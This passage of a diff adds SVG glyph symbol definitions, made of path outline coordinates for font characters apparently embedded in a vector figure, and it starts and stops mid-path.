+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 